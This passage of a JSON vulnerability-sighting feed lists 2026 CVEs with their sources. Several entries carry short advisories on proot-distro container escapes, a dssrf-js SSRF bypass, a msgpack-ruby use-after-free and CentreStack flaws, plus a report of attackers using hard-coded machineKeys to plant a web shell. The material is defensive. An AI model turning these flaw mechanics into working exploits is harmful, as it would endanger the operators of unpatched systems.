"2026-04-10T05:15:56.000000Z"}, {"uuid": "d594fa8f-fc58-483a-a693-c89b3a2ce42e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5479", "type": "published-proof-of-concept", "source": "Telegram/1WdkdhXUJmGV7eP_rqgJjIpgxUFBJfkFq-ncP6HWfcjVt70", "content": "", "creation_timestamp": "2026-04-10T05:15:56.000000Z"}, {"uuid": "ae6edb94-cee3-430b-a64f-9c7be1dc4516", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5412", "type": "seen", "source": "Telegram/lg_uE38htKCDsrEIH_zbRJLgqsKSDV6aHHtfYRxKZkwP2V8", "content": "", "creation_timestamp": "2026-04-10T15:17:16.000000Z"}, {"uuid": "7811c1b8-8169-4945-ba11-309eb10341bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5483", "type": "published-proof-of-concept", "source": "Telegram/fSWJ5AllMbSniV0KxDg2z0mHSbTQAC_C__F2EWZ07rPh-YE", "content": "", "creation_timestamp": "2026-04-10T19:31:23.000000Z"}, {"uuid": "0f05109b-519b-4e20-9de2-0cfba45ad5a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5493", "type": "seen", "source": "Telegram/oNJqzE-05Z_hzc8NPQW-z5MMZ2uUFxP7FYrJiMTOKneUM6w", "content": "", "creation_timestamp": "2026-04-11T03:21:45.000000Z"}, {"uuid": "e1dea486-c7bc-4f17-bae8-47aadc9069e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5496", "type": "seen", "source": "Telegram/-uyrs94fGKBZTNu2mzMK-L-9Rc5lrbCygfSEFHI7W39_U14", "content": "", "creation_timestamp": "2026-04-11T03:21:49.000000Z"}, {"uuid": "935bffca-b2b0-4df7-b8de-609fd11f91e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5494", "type": "seen", "source": "Telegram/-uyrs94fGKBZTNu2mzMK-L-9Rc5lrbCygfSEFHI7W39_U14", "content": "", "creation_timestamp": "2026-04-11T03:21:49.000000Z"}, {"uuid": "e580ac7a-dab3-416e-95ae-7e1523eb4d6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5465", "type": "seen", "source": "Telegram/UjrnvOa2JLE3qzXsFYe7vk49vQcInvR-SenKatBboIQ7n94", "content": "", "creation_timestamp": "2026-04-07T09:15:25.000000Z"}, {"uuid": "616b1fab-33aa-4e5d-a952-7bb80f1dab26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5485", "type": "seen", "source": "Telegram/C_4IqkAaofmVuG0ts1zoVr23H-sEIs7UsuvOGOq7uR7BrNw", "content": "", "creation_timestamp": "2026-04-03T23:21:08.000000Z"}, {"uuid": "8b311ce9-31a9-4f5b-8ef7-30eb282fae7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5425", "type": "seen", "source": "Telegram/gVbA1acGlW-fyY5rGlXdxs5pj98sQBeJD9ssu2cbcQUWpFQ", "content": "", "creation_timestamp": "2026-04-04T11:15:30.000000Z"}, {"uuid": "87dea14c-326c-4f6d-8814-7bea9ee4ec08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5436", "type": "published-proof-of-concept", "source": "Telegram/Dz-0u6C1u9T0WCXCs4W5hHtkLp3TtNEV9yEjsLh0_yFvD1Y", "content": "", "creation_timestamp": "2026-04-09T01:27:32.000000Z"}, {"uuid": "6ebe35c1-bbcf-4fde-8ad8-0bc1b8a1cac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5429", "type": "seen", "source": "Telegram/EKU3EO0GNZYVnupMzIC7jT0Kx1d9wsZeA8MakquUKITh-r8", "content": "", "creation_timestamp": "2026-04-02T22:22:55.000000Z"}, {"uuid": "ffdff2f7-e8a3-456f-b8b2-020f5643644f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5463", "type": "seen", "source": "Telegram/A5UZ2oyBVNNJX5Wa4LER5v-0-0dFFVXEqLDkZYQ_ngP9k5Q", "content": "", "creation_timestamp": "2026-04-03T07:15:40.000000Z"}, {"uuid": "cdc1148c-10a4-45fb-8376-efe32c35e2be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5418", "type": "seen", "source": "Telegram/EKU3EO0GNZYVnupMzIC7jT0Kx1d9wsZeA8MakquUKITh-r8", "content": "", "creation_timestamp": "2026-04-02T22:22:55.000000Z"}, {"uuid": "da4218ff-4651-4cd2-afd1-31866fed39e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5450", "type": "seen", "source": "https://bsky.app/profile/vitobotta.com/post/3mkku2gh6pc2i", "content": "", "creation_timestamp": "2026-04-28T15:01:17.827887Z"}, {"uuid": "a6e44065-350b-4342-bfda-925d3257a475", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "published-proof-of-concept", "source": "Telegram/veDSMFN7ecyhltWdKUwpcYAyE-ogEw-qfchv6YBZH7Zn1oc", "content": "", "creation_timestamp": "2026-04-18T05:18:34.000000Z"}, {"uuid": "64ee96df-2a9a-48ed-a9e5-c975bd04dd4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5444", "type": "seen", "source": "Telegram/BoOqWaO3KXS_kNoeZKG9-5DucbPr6wdRjfTcRW39IR2MuNQ", "content": "", "creation_timestamp": "2026-04-14T20:03:31.000000Z"}, {"uuid": "2ce68fe8-8941-46fe-a332-d802dd40f75b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5438", "type": "published-proof-of-concept", "source": "Telegram/_P20Htht508gPcGtfhYsw3BkHMYZAVXCzBRlMvbh3o3mGtY", "content": "", "creation_timestamp": "2026-04-14T20:03:14.000000Z"}, {"uuid": "412e12bb-525f-4791-a461-ae32690de129", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5440", "type": "published-proof-of-concept", "source": "Telegram/_P20Htht508gPcGtfhYsw3BkHMYZAVXCzBRlMvbh3o3mGtY", "content": "", "creation_timestamp": "2026-04-14T20:03:14.000000Z"}, {"uuid": "47196fa2-d701-4380-8d72-423e0f79bc77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5441", "type": "published-proof-of-concept", "source": "Telegram/_P20Htht508gPcGtfhYsw3BkHMYZAVXCzBRlMvbh3o3mGtY", "content": "", "creation_timestamp": "2026-04-14T20:03:14.000000Z"}, {"uuid": "2fb3bce9-bdce-479d-9ee3-9c8ae009db84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5437", "type": "published-proof-of-concept", "source": "Telegram/_P20Htht508gPcGtfhYsw3BkHMYZAVXCzBRlMvbh3o3mGtY", "content": "", "creation_timestamp": "2026-04-14T20:03:14.000000Z"}, {"uuid": "8910304f-8a86-4d50-ad1b-696df687e9e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5439", "type": "published-proof-of-concept", "source": "Telegram/_P20Htht508gPcGtfhYsw3BkHMYZAVXCzBRlMvbh3o3mGtY", "content": "", "creation_timestamp": "2026-04-14T20:03:14.000000Z"}, {"uuid": "1fcdfca1-921f-4907-9917-831f274527cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5443", "type": "seen", "source": "Telegram/BoOqWaO3KXS_kNoeZKG9-5DucbPr6wdRjfTcRW39IR2MuNQ", "content": "", "creation_timestamp": "2026-04-14T20:03:31.000000Z"}, {"uuid": "1264c025-09d3-4207-8130-7e8e56561ce0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5442", "type": "seen", "source": "Telegram/BoOqWaO3KXS_kNoeZKG9-5DucbPr6wdRjfTcRW39IR2MuNQ", "content": "", "creation_timestamp": "2026-04-14T20:03:31.000000Z"}, {"uuid": "23482e4e-7d83-4412-991d-1c266df5ce4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5445", "type": "seen", "source": "Telegram/BoOqWaO3KXS_kNoeZKG9-5DucbPr6wdRjfTcRW39IR2MuNQ", "content": "", "creation_timestamp": "2026-04-14T20:03:31.000000Z"}, {"uuid": "c76980b2-63cd-4d33-b808-749c3b92aea0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5450", "type": "seen", "source": "Telegram/zqh64O-3jGBNpD02e4IDQ2Ua8XH6cA6PRqW3q0FpcVLnRBs", "content": "", "creation_timestamp": "2026-04-21T21:25:58.000000Z"}, {"uuid": "cda2c217-933c-4f9f-a092-11d2f95efd91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5464", "type": "seen", "source": "Telegram/wFSQsgW7X9YvnPcwQoIwWZcAEOwcl2-nLfGCKL8FlikswBY", "content": "", "creation_timestamp": "2026-04-23T11:16:37.000000Z"}, {"uuid": "d59ce35b-5aa7-4721-ae15-8d920802a063", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5478", "type": "published-proof-of-concept", "source": "Telegram/OLcxrKJ5zAhC__DZ5T6GCelVB_zr2kWns3QejwnSLKnpZyw", "content": "", "creation_timestamp": "2026-04-20T21:22:19.000000Z"}, {"uuid": "aec23d97-d9ec-47a3-99c8-53b4be415b9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54370", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mrufedkcaz2i", "content": "\ud83d\udd0d Lambda Watchdog detected that CVE-2026-54370 is no longer present in latest AWS Lambda base image scans. https://github.com/aws/aws-lambda-base-images/issues/607 #AWS #Lambda #Security #CVE #DevOps #SecOps", "creation_timestamp": "2026-07-30T12:01:25.214026Z"}, {"uuid": "5034e126-b657-40cb-9b1a-912526eff2f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5487", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrtnulah2a2l", "content": "\ud83d\udfe0 CVE-2026-5487 - High (7.5)\n\nDriveLock Directory Traversal Information Disclosure Vulnerability. This vulnerability allows rem...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5487/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-30T05:00:58.257323Z"}, {"uuid": "c9b182dd-9ff9-464c-9424-6cbb64a8cd20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5490", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrtnurrc5h2a", "content": "\ud83d\udfe0 CVE-2026-5490 - High (8.8)\n\nDriveLock SQL Injection Privilege Escalation Vulnerability. This vulnerability allows remote atta...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5490/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-30T05:01:04.952219Z"}, {"uuid": "2dd862fe-531c-4a7b-9b48-d769275d20e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54369", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mrufectk7e2x", "content": "\ud83d\udd0d Lambda Watchdog detected that CVE-2026-54369 is no longer present in latest AWS Lambda base image scans. https://github.com/aws/aws-lambda-base-images/issues/606 #AWS #Lambda #Security #CVE #DevOps #SecOps", "creation_timestamp": "2026-07-30T12:01:21.999701Z"}, {"uuid": "1f6068ec-2668-41a4-a7d0-f60edb36e7e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54727", "type": "seen", "source": "https://gist.github.com/alon710/0b988f8772f0747494691334f261cc01", "content": "# CVE-2026-54727: CVE-2026-54727: Container Isolation Bypass in proot-distro via Malicious Restore Archive\n\n> **CVSS Score:** 8.2\n> **Published:** 2026-07-29\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54727\n\n## Summary\nA container isolation bypass vulnerability exists in proot-distro prior to version 5.1.6. The utility accepted hardlink entries pointing outside the container directory being restored, allowing cross-container file read and write capabilities.\n\n## TL;DR\nA container boundary bypass in proot-distro allows a malicious restore archive to read or write files inside other isolated containers on the device.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-668\n- **Attack Vector**: Local\n- **CVSS Score**: 8.2 (High)\n- **Impact**: Cross-container read and write access\n- **Exploit Status**: Proof-of-Concept\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- proot-distro\n- **proot-distro**: < 5.1.6 (Fixed in: `5.1.6`)\n\n## Mitigation\n\n- Keep proot-distro updated to the latest version via Termux package management\n- Do not restore unauthenticated, third-party, or untrusted container backup archives\n- Enforce static analysis or pre-extraction checks on backup tarballs\n\n**Remediation Steps:**\n1. Execute 'pkg update && pkg upgrade proot-distro' to upgrade to v5.1.6 or later\n2. Audit any existing container layouts or verify nested hardlink/symlink properties\n3. Configure automated package scanners to flag outdated variants of proot-distro\n\n## References\n\n- [GitHub Security Advisory (GHSA-7h3g-4w2f-fj2f)](https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f)\n- [proot-distro v5.1.6 Release Notes](https://github.com/termux/proot-distro/releases/tag/v5.1.6)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54727) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-30T00:32:17.081266Z"}, {"uuid": "1e179efb-60ef-49f5-b9bf-883f31dcea53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mrtmnkbitj2n", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63077: 32 interactions\nCVE-2026-50522: 15 interactions\nCVE-2026-54121: 15 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-63077: 11 interactions\nCVE-2026-42897: 9 interactions\nCVE-2026-47876: 6 interactions\n", "creation_timestamp": "2026-07-30T04:39:08.522522Z"}, {"uuid": "7d94fdbc-ab69-4bb0-8cc2-d8ff0d7ccbda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54363", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrukgjtuwq2i", "content": "CVE-2026-54363 - centrestack\nCentreStack versions before 17.5 have a security flaw that allows hackers to execute malicious code without being authenticated. This can lead to sensitive information being\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#centrestack #gladinet #CVE #infosec", "creation_timestamp": "2026-07-30T13:32:04.983638Z"}, {"uuid": "d87a4c27-4878-4b26-86f6-c33befcd6228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54574", "type": "seen", "source": "https://gist.github.com/alon710/3dfab3b451ecd01d7d3ac084db088fec", "content": "# CVE-2026-54574: CVE-2026-54574: Symlink Escape and Arbitrary Host File Write in proot-distro\n\n> **CVSS Score:** 8.2\n> **Published:** 2026-07-29\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54574\n\n## Summary\nCVE-2026-54574 (GHSA-9xq3-3fqg-4vg7) is a critical Symlink Escape and Arbitrary Host File Write vulnerability in proot-distro, an open-source utility for managing rootless PRoot containers on Termux and general Linux environments. The vulnerability is rooted in an asymmetric validation flaw during the archive extraction process of container installations, Docker/OCI layers, and container backup restorations. While the extraction engine successfully validated file names to prevent standard directory traversal (e.g., rejecting components containing '..'), it failed to validate symbolic link targets. An attacker could craft a malicious tar archive or container image that plants an absolute host-path symlink. Subsequent file members within the same archive could then traverse through this symlink, writing arbitrary files directly onto the host filesystem under the privileges of the executing process.\n\n## TL;DR\nAn asymmetric path validation flaw in proot-distro prior to version 5.1.5 allows arbitrary host filesystem writes when extracting a malicious container image or backup archive containing crafted symbolic links.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-59 (Improper Link Resolution Before File Access)\n- **Attack Vector**: Local (AV:L)\n- **CVSS Score**: 8.2\n- **Exploit Status**: Proof of Concept available\n- **KEV Status**: Not listed\n- **Affected Product**: proot-distro\n- **Fixed Version**: 5.1.5\n\n## Affected Systems\n\n- Termux environments running proot-distro versions prior to 5.1.5\n- Linux systems using proot-distro versions prior to 5.1.5\n- **proot-distro**: < 5.1.5 (Fixed in: `5.1.5`)\n\n## Mitigation\n\n- Upgrade proot-distro to version 5.1.5 or newer.\n- Avoid importing, installing, or restoring untrusted container images or backups.\n- Run proot-distro with the minimum necessary privileges to restrict the impact of potential escapes.\n\n**Remediation Steps:**\n1. Check the currently installed version of proot-distro.\n2. Run 'pkg upgrade proot-distro' in Termux or pull the latest release from the repository.\n3. Verify that the active version is 5.1.5 or higher.\n4. Audit existing container directories for rogue symbolic links using search utilities.\n\n## References\n\n- [GitHub Security Advisory GHSA-9xq3-3fqg-4vg7](https://github.com/termux/proot-distro/security/advisories/GHSA-9xq3-3fqg-4vg7)\n- [Fix Commit: _safe_resolve Implementation](https://github.com/termux/proot-distro/commit/a96d7a9667f38e45d812614852ee3915d1c0ae45)\n- [Merge Commit: Path Resolution Fix](https://github.com/termux/proot-distro/commit/527e5f0fcdc6ef94d765e2ba990939a62fcca272)\n- [Unit and Security Tests Commit](https://github.com/termux/proot-distro/commit/722ef50d8b14bbeaaa6061d6e9d46735cb321247)\n- [proot-distro Version 5.1.5 Release](https://github.com/termux/proot-distro/releases/tag/v5.1.5)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54574) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-30T01:32:06.457249Z"}, {"uuid": "0b2bd605-043b-4d6b-a4e2-f2429ca47312", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5491", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrtdsleuvm2m", "content": "\ud83d\udfe0 CVE-2026-5491 - High (7.5)\n\nDriveLock Directory Traversal Information Disclosure Vulnerability. This vulnerability allows rem...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-5491/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-30T02:00:54.143648Z"}, {"uuid": "1338e7f8-3e45-4016-8136-b2888544f32f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54722", "type": "seen", "source": "https://bsky.app/profile/kynth.studio/post/3mruwkbv7zy2r", "content": "dssrf's SSRF bypass (CVE-2026-54722): it strips '@' from the raw URL string before new URL() parses it, so the hostname gets corrupted and internal IPs are never checked. Validate parser output, never raw text. #software", "creation_timestamp": "2026-07-30T17:08:56.046967Z"}, {"uuid": "d8f3ad42-6626-47d5-8e92-cd6f6990bcd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54522", "type": "seen", "source": "https://gist.github.com/alon710/f9483ca84f65ab9c98c78744c876def1", "content": "# CVE-2026-54522: CVE-2026-54522: Same-Process Use-After-Free and Cross-Buffer Data Disclosure in msgpack-ruby\n\n> **CVSS Score:** 2.1\n> **Published:** 2026-07-30\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54522\n\n## Summary\nA Use-After-Free (UAF) vulnerability exists in msgpack-ruby prior to version 1.8.2. The MessagePack::Buffer#clear method returns the associated 4 KiB rmem page to the shared pool but fails to reset the buffer's tracking pointers (rmem_last, rmem_end, and rmem_owner). Subsequent write operations on the cleared buffer can alias the freed page, allowing concurrent buffers to access, disclose, or corrupt cross-buffer data. This issue is resolved in version 1.8.2.\n\n## TL;DR\nA Use-After-Free in msgpack-ruby < 1.8.2 allows cross-buffer memory aliasing, resulting in same-process information disclosure and stream corruption when buffers are cleared and reused.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-416 (Use After Free)\n- **Attack Vector**: Local (AV:L)\n- **CVSS v4.0 Score**: 2.1 (Low)\n- **Exploit Status**: Proof-of-Concept Available\n- **Impact**: Information Disclosure / Stream Corruption\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Ruby applications utilizing the msgpack-ruby gem with persistent or pooled MessagePack::Buffer instances.\n- **msgpack-ruby**: < 1.8.2 (Fixed in: `1.8.2`)\n\n## Mitigation\n\n- Upgrade the msgpack dependency to version 1.8.2 or later.\n- Refactor applications to instantiate a new MessagePack::Buffer for every serialization task instead of reusing and clearing a persistent buffer.\n- Conduct static analysis scanning of dependency trees to identify and flag older versions of the msgpack gem.\n\n**Remediation Steps:**\n1. Open the application's Gemfile and locate the msgpack dependency declaration.\n2. Update the entry to require version 1.8.2 or higher: gem 'msgpack', '>= 1.8.2'\n3. Execute the package manager command to update the dependency: bundle update msgpack\n4. Deploy the updated dependency configuration to testing and production environments.\n\n## References\n\n- [GitHub Security Advisory GHSA-4mrv-5p47-p938](https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938)\n- [Fix Commit 5627d71606b565641d2dd501b82aae862f4abe90](https://github.com/msgpack/msgpack-ruby/commit/5627d71606b565641d2dd501b82aae862f4abe90)\n- [Ruby Advisory Database Entry](https://github.com/rubysec/ruby-advisory-db/blob/master/gems/msgpack/CVE-2026-54522.yml)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54522) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-30T17:31:24.215031Z"}, {"uuid": "33f9ea5e-2eb3-4f08-a454-843d0554f899", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54365", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mruzrbg7qk2o", "content": "CVE-2026-54365 Unauthenticated deserialization in Centrestack. Attackers create local OS accounts via crafted XML. CVSS 7.5. No patch yet \u2013 isolate systems. #CVE #Centrestack #cybersecurity\n\nhttps://www.valtersit.com/cve/CVE-2026-54365/", "creation_timestamp": "2026-07-30T18:06:31.506087Z"}, {"uuid": "5fda123c-860f-4387-ba7e-6a8f003109cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54722", "type": "seen", "source": "https://gist.github.com/alon710/a4455529dbdac06b73f9e7a68363941a", "content": "# CVE-2026-54722: CVE-2026-54722: Server-Side Request Forgery (SSRF) Bypass via Userinfo Stripping in dssrf-js\n\n> **CVSS Score:** 8.7\n> **Published:** 2026-07-30\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54722\n\n## Summary\nAn SSRF validation bypass exists in dssrf-js (v1.0.3 and prior) due to an improper string normalization sequence inside is_url_safe. Before validating the host using Node's WHATWG parser, the helper strips the '@' symbol. This corrupts the parser's authority resolution, while the application's client requests the original, un-sanitized string containing internal IP targets.\n\n## TL;DR\nThe dssrf-js library before 1.0.4 strips the '@' character from URLs during safety validation. This causes the library to validate a safe, mutated host string (e.g., evil.com127.0.0.1) while the downstream client retrieves the original URL, connecting directly to restricted local resources.\n\n## Technical Details\n\n- **CWE ID**: CWE-76: Improper Neutralization of Equivalent Special Elements\n- **Attack Vector**: Network (AV:N)\n- **CVSS v4.0 Score**: 8.7\n- **EPSS Score**: N/A (New 2026 Vulnerability)\n- **Impact**: High Integrity Compromise (VI:H)\n- **Exploit Status**: None (No active public exploits cataloged)\n- **KEV Status**: False\n\n## Affected Systems\n\n- HackingRepo/dssrf-js\n- **dssrf-js**: < 1.0.4 (Fixed in: `1.0.4`)\n\n## Mitigation\n\n- Upgrade the dssrf-js dependency to version 1.0.4 or higher.\n- Implement application-level sanitation to reject URLs containing userinfo sequences before validation.\n- Establish strict egress firewall filtering to block requests targeting local subnets and loopback scopes.\n\n**Remediation Steps:**\n1. Navigate to the application root directory containing package.json.\n2. Execute 'npm install dssrf-js@1.0.4' to upgrade the package version.\n3. Verify that all test cases evaluating internal IP ranges continue to block SSRF requests successfully.\n\n## References\n\n- [Official GitHub Advisory](https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2)\n- [GitHub Issue #97](https://github.com/HackingRepo/dssrf-js/issues/97)\n- [GitHub Pull Request #98](https://github.com/HackingRepo/dssrf-js/pull/98)\n- [Vulnerability Fix Commit](https://github.com/HackingRepo/dssrf-js/commit/9211f91bf532433a1a1b27d946571546a63664b3)\n- [CVE.org Record](https://www.cve.org/CVERecord?id=CVE-2026-54722)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54722) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-30T18:31:07.073177Z"}, {"uuid": "1fcae840-e1f2-481f-80ad-9a625920d385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://t.me/CyberDispatch/1738", "content": "Attackers exploited CVE-2026-5426 in the KnowledgeDeliver LMS to gain unauthenticated RCE through hard-coded ASP-NET machineKeys, deploy the Godzilla (BLUEBEAM) web shell, and deliver Cobalt Strike Beacon on vulnerable internet-facing systems.", "creation_timestamp": "2026-08-30T00:00:40.483757Z"}, {"uuid": "5c946aa5-3214-4fbe-b2f5-ec10a36ee606", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54522", "type": "published-proof-of-concept", "source": "https://github.com/msgpack/msgpack-ruby/security/advisories/GHSA-4mrv-5p47-p938", "content": "", "creation_timestamp": "2026-07-30T18:35:03.754749Z"}, {"uuid": "d47aacdf-26f2-451c-899b-1d10f33a5ed6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54722", "type": "published-proof-of-concept", "source": "https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2", "content": "", "creation_timestamp": 